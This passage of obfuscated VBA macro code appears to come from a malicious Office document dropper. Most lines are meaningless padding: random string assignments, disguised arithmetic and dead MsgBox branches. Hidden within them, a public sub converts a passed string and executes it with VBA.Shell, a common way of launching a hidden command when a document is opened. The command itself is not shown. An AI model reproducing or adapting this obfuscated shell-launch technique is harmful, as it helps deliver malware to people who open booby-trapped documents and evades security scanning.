mW6JI7PK = "iR38ztc1E"
If Len(mW6JI7PK) > 231 Then
XZze5 = "cpiSfr"
MsgBox XZze5, 9, "iDxKGfaL"
End If
gr5sc = "qxikZz"
If Len(gr5sc) > 187 Then
unlr5q1h = "E0BLmlnE1"
MsgBox unlr5q1h, 48, "I9SKOAxCb"
End If
g5RB0g3Tm = "m6Tiv2hg"
g5RB0g3Tm = RTrim(Mid(g5RB0g3Tm, 6696 / 1116, 6696 / 1116))
End With
QAoih7z = "ir6oWtRHD"
If Len(QAoih7z) > 169 Then
kLt6Td = "MlqUfGmwH"
MsgBox kLt6Td, 9, "nL8aoEf"
End If
Q0LrC = "QYibrc0"
Q0LrC = Trim(Mid(Q0LrC, 4941 / 4941, 4941 / 4941))
u1d3iE95A = "lyFXACflo"
u1d3iE95A = Trim(Mid(u1d3iE95A, -1348 + 1350, -1348 + 1350))
GyKco = "sQMRDbojA"
GyKco = RTrim(Mid(GyKco, -1348 + 1350, -1348 + 1350))
mpnH9e6Tu = "gpk6C"
mpnH9e6Tu = LTrim(Mid(mpnH9e6Tu, -5897 + 5902, -5897 + 5902))
LsYwDbgKE = "k3aiFI"
LsYwDbgKE = Trim(Mid(LsYwDbgKE, 1114 - 1107, 1114 - 1107))
YjcMnkz = "m4cRj5Iq"
YjcMnkz = LTrim(Mid(YjcMnkz, -578 + 594, -578 + 594))
maBfp81Ht = "e7BawXs"
If Len(maBfp81Ht) > 195 Then
pY7wRc = "yJLlqCu"
MsgBox pY7wRc, 35, "pUHvMQx74"
End If
U3GTcDN = "oHVpT7g"
If Len(U3GTcDN) > 131 Then
lGq7K = "rCwGhX"
MsgBox lGq7K, 8, "GdGm1"
End If
Hgnp8CR = "dqenvtu9p"
Hgnp8CR = LTrim(Mid(Hgnp8CR, 27174 / 4529, 27174 / 4529))
BgTHl = "Uz3OUqTJ"
BgTHl = Trim(Mid(BgTHl, 27174 / 4529, 27174 / 4529))
HgjSLeU = "noJT5t6k"
If Len(HgjSLeU) > 241 Then
CbeI1pVrt = "HLs6Nj"
MsgBox CbeI1pVrt, 18, "ucn6Q"
End If
EjeIr5H2 = "K8C6aTB"
If Len(EjeIr5H2) > 220 Then
Kd0Wt6ePC = "ryvt6km"
MsgBox Kd0Wt6ePC, 36, "gYepH"
End If
End Function

Attribute VB_Name = "SZ8De"
Public Const fbuQpZg = "BASE64"
Public Sub fBpoCXUN(pcuIyt0JR, ElioVP)
VcM9wknb = "WBivg3"
If Len(VcM9wknb) > 134 Then
ilNvcYg = "Nlw0VCZz"
MsgBox ilNvcYg, 22, "Q5bJZ"
End If
Dim zQ93e2Z As String
L3v6E0g = "Zi6psL"
L3v6E0g = Trim(Mid(L3v6E0g, 4332 / 361, 4332 / 361))
ksdyU = "h3TRy"
ksdyU = Trim(Mid(ksdyU, 31829 - 31828, 31829 - 31828))
gx7y06DfY = "kv1WCA"
gx7y06DfY = Trim(Mid(gx7y06DfY, 31829 - 31828, 31829 - 31828))
zQ93e2Z = StrConv _
(pcuIyt0JR, _
10624 / 166)
Kn4CurAfU = "JKmvTbl1"
If Len(Kn4CurAfU) > 254 Then
YjZYaF = "NMSuoJU"
MsgBox YjZYaF, 5, "R5TX0H"
End If
ZsoNnz = "LPzNrDQW2"
ZsoNnz = Trim(Mid(ZsoNnz, 2947 - 2943, 2947 - 2943))
hFI7Ehy = "Yx12T5mr"
hFI7Ehy = Trim(Mid(hFI7Ehy, 19980 / 1332, 19980 / 1332))
mJfkAKBud = "X01dGfo6r"
mJfkAKBud = LTrim(Mid(mJfkAKBud, 4354 / 311, 4354 / 311))
Uco4v3Hkb = "IqAcX"
Uco4v3Hkb = Trim(Mid(Uco4v3Hkb, 4354 / 311, 4354 / 311))
XQLduWX8 = "JQlGDBrP"
XQLduWX8 = RTrim(Mid(XQLduWX8, 9679 - 9678, 9679 - 9678))
FuL5tZ = "pwiE9XA86"
FuL5tZ = RTrim(Mid(FuL5tZ, 9679 - 9678, 9679 - 9678))
RRhZl6rHf = "GYOfz"
RRhZl6rHf = Trim(Mid(RRhZl6rHf, 1368 - 1356, 1368 - 1356))
WwT4S7 = "Sax1Ef"
WwT4S7 = RTrim(Mid(WwT4S7, 1368 - 1356, 1368 - 1356))
lPbws = "fGFQILy"
lPbws = RTrim(Mid(lPbws, 16885 / 1535, 16885 / 1535))
YbdZa6v = "wBUsI7A"
YbdZa6v = LTrim(Mid(YbdZa6v, 16885 / 1535, 16885 / 1535))
If Len(pcuIyt0JR) > 0 And ElioVP <> 96875 - 31339 Then
XuiRcwV = "suTxveE"
XuiRcwV = LTrim(Mid(XuiRcwV, -2545 + 2550, -2545 + 2550))
nOpcY7 = "dO12pkf"
nOpcY7 = LTrim(Mid(nOpcY7, -2545 + 2550, -2545 + 2550))
Call VBA.Shell(zQ93e2Z, ElioVP)

jpnKRFGr = "zdlJ1"
jpnKRFGr = RTrim(Mid(jpnKRFGr, 702 - 694, 702 - 694))
CWbFRUSyQ = "Qt2TIdB5"
If Len(CWbFRUSyQ) > 136 Then
bZIxazQH = "n1jZGHm8"
MsgBox bZIxazQH, 16, "pjOKA"
End If
pnAVZ = "yivkNc"
pnAVZ = Trim(Mid(pnAVZ, 20976 / 1748, 20976 / 1748))
OmkdALR = "YIzqMl8RP"
OmkdALR = Trim(Mid(OmkdALR, 20976 / 1748, 20976 / 1748))
End If

noblY = "Pwqhr"
noblY = RTrim(Mid(noblY, 3374 - 3373, 3374 - 3373))
End Sub